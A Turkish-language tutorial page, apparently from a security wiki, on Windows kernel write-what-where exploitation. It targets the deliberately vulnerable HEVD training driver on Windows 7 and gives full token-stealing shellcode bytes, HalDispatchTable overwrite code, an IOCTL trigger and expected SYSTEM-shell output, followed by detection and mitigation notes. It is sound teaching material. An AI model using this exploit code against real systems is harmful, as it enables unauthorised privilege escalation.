Arbitrary overwrite (write-what-where) primitive intro¶
Bir write-what-where primitive'i, attacker'ın seçtiği bir değeri attacker'ın seçtiği bir kernel adresine yazmasına olanak tanır; klasik Windows escalation path'i
HalDispatchTable+0x4'ü overwrite eder ve sonraNtQueryIntervalProfileüzerinden execution'ı tetikler.
Mechanism¶
Note
Bir write-what-where (WWW) primitive'i, bir kernel driver'ı tamamen userland'den verilen iki pointer'ı kullanarak *(Where) = *(What) yaptığında, adreslerin user address range'inde olduğunu zorlamak için ProbeForRead / ProbeForWrite çağırmadan, ortaya çıkar. Operasyon kernel context'inde çalıştığından Where kernel virtual memory'sinde herhangi bir yere işaret edebilir ve yazılan değer *(What)'tir — o da kernel context'inde dereference edilir.
Klasik Windows exploitation target'ı nt!HalDispatchTable+0x4'tür; HaliQuerySystemInformation'a olan pointer'ı tutan global, non-paged bir kernel yapısıdır. NtQueryIntervalProfile routine'i (dokümante edilmemiş bir syscall) KeQueryIntervalProfile'ı çağırır, o da HalDispatchTable+0x4'te saklanan function pointer'ı çağırır — bu da attacker'a eski build'lerde bir SMEP/KPTI bypass'ına ihtiyaç duymadan kernel execution'ını yeniden yönlendirmenin temiz bir yolunu verir: shellcode PAGE_EXECUTE_READWRITE user memory'sine konur ve pointer ona işaret edecek şekilde overwrite edilir.
Modern mitigation'lar (SMEP, SMAP, KVA Shadow / KPTI, HVCI), bu klasik form ortaya çıktığından beri (Windows XP – 7 dönemi) çıtayı yükseltti, ama kavramsal primitive temel olmaya devam ediyor; günümüz exploit'leri aynı hedefe kernel data-only path'leri (örn. token swap'leri) üzerinden ya da HVCI-korumalı aralıkların dışındaki writable kernel code'unu hedefleyerek ulaşır.
Walkthrough¶
Aşağıdakiler, herkese açık dokümante edilmiş HEVD (HackSysExtremeVulnerableDriver) egzersizine ve Windows 7 SP1 x86'yı hedefleyen FuzzySecurity / connormcgarr tutorial'larına dayanır.
Step 1 — Userland'de token-stealing shellcode allocate et
LPVOID shellcode = VirtualAlloc(NULL, 4096,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Token-steal payload (x86, Windows 7 SP1 offsets)
unsigned char payload[] = {
0x60, // pushad
0x31, 0xc0, // xor eax, eax
0x64, 0x8b, 0x80, 0x24,0x01,0x00,0x00, // mov eax,[fs:0x124] ; KPCR->KTHREAD
0x8b, 0x40, 0x50, // mov eax,[eax+0x50] ; EPROCESS
0x89, 0xc1, // mov ecx, eax ; save current EPROCESS
0xba, 0x04, 0x00, 0x00, 0x00, // mov edx, 4 ; SYSTEM PID
// walk ActiveProcessLinks until PID == 4
0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, // mov eax,[eax+0xb8] ; Flink
0x2d, 0xb8, 0x00, 0x00, 0x00, // sub eax, 0xb8
0x3b, 0x90, 0xb4, 0x00, 0x00, 0x00, // cmp [eax+0xb4],edx
0x75, 0xea, // jnz loop
// copy SYSTEM token to current process
0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00, // mov edx,[eax+0xf8] ; Token
0x89, 0x91, 0xf8, 0x00, 0x00, 0x00, // mov [ecx+0xf8],edx
0x61, // popad
0x31, 0xc0, // xor eax,eax
0x83, 0xc4, 0x24, // add esp, 0x24
0x5d, // pop ebp
0xc2, 0x08, 0x00 // ret 8
};
memcpy(shellcode, payload, sizeof(payload));
Step 2 — Kernel space'te HalDispatchTable+0x4'ü çöz
// 1. Enumerate kernel modules via NtQuerySystemInformation(SystemModuleInformation)
DWORD needed = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &needed);
PRTL_PROCESS_MODULES mods = (PRTL_PROCESS_MODULES)malloc(needed);
NtQuerySystemInformation(SystemModuleInformation, mods, needed, NULL);
// 2. ntoskrnl is always the first entry
PVOID kernBase = mods->Modules[0].ImageBase;
char *kernPath = (char*)mods->Modules[0].FullPathName
+ mods->Modules[0].OffsetToFileName;
// 3. Load a userland copy to look up the export
HMODULE hKern = LoadLibraryExA(kernPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
ULONG_PTR halDT_user = (ULONG_PTR)GetProcAddress(hKern, "HalDispatchTable");
ULONG_PTR halDT_kern = halDT_user - (ULONG_PTR)hKern + (ULONG_PTR)kernBase;
ULONG_PTR target = halDT_kern + 0x4; // HalDispatchTable+4
Step 3 — write-what-where IOCTL'i gönder
Vulnerable HEVD IOCTL'i (0x0022200B), iki PVOID*'dan oluşan bir yapı alır:
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What; // pointer to shellcode pointer
PULONG_PTR Where; // HalDispatchTable+4 in kernel space
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
WRITE_WHAT_WHERE www;
www.What = (PULONG_PTR)&shellcode; // &(user ptr to shellcode)
www.Where = (PULONG_PTR)target; // HalDispatchTable+4
DeviceIoControl(hDevice, 0x0022200B, &www, sizeof(www), NULL, 0, &ret, NULL);
Driver şunu çalıştırır: *(www.Where) = *(www.What) — shellcode adresini HaliQuerySystemInformation'ın üzerine yazar.
Step 4 — NtQueryIntervalProfile üzerinden tetikle
ULONG interval = 0;
NtQueryIntervalProfile(0xabcd, &interval);
// Internally: KeQueryIntervalProfile -> [HalDispatchTable+4]() -> shellcode
// Shellcode elevates token, returns cleanly.
Beklenen çıktı
C:\> whoami
low-priv-user
C:\> exploit.exe
[*] ntoskrnl base : 0x82800000
[*] HalDispatchTable+4 : 0x82a1c9c4
[*] Shellcode at : 0x001a0000
[*] IOCTL sent, overwrite complete
[*] Calling NtQueryIntervalProfile...
[*] Done. Spawning shell.
C:\> whoami
NT AUTHORITY\SYSTEM
Detection¶
- Kernel ETW / WFP: non-admin bir kullanıcıdan gelen
NtQuerySystemInformation(SystemModuleInformation)'ı hemen ardından şüpheli bir driver'aDeviceIoControlve sonraNtQueryIntervalProfiletakip eder. - Driver signature enforcement (DSE) / HVCI, vulnerable unsigned driver'ların yüklenmesini engeller.
- PatchGuard belirli kernel yapılarını izler, ama
HalDispatchTablekapsamı Windows sürümüne göre değişir.
Mitigation¶
- SMEP (Supervisor Mode Execution Prevention): kernel'in overwrite edilen pointer'daki userland shellcode'u çalıştırmasını engeller; attacker'ın bunun yerine kernel ROP ya da kernel-mode shellcode kullanmasını gerektirir.
- HVCI (Hypervisor-Protected Code Integrity): kernel code page'lerinin değişmez olmasını zorlar; kernel memory'sindeki shellcode infeasible hale gelir.
- Windows 10+ KVA Shadow / KPTI: user/kernel page table'larını ayırır; user shellcode adresleri kernel execution sırasında map'li değildir.
- Kernel CFG (Control Flow Guard): geçerli indirect call target'larını sınırlar ve function-pointer hijack'lerini kısıtlar.
- Driver hardening: herhangi bir kernel dereference'ından önce userland'den verilen tüm pointer'larda
ProbeForRead/ProbeForWritekullan.
References¶
- Connor McGarr — Windows Kernel Exploitation: Arbitrary Overwrites (Write-What-Where)
- FuzzySecurity — Part 11: Kernel Exploitation → Write-What-Where
- rootkits.xyz — Windows Kernel Exploitation Tutorial Part 3: Arbitrary Memory Overwrite
- Osanda Malith — Windows Kernel Exploitation – Arbitrary Overwrite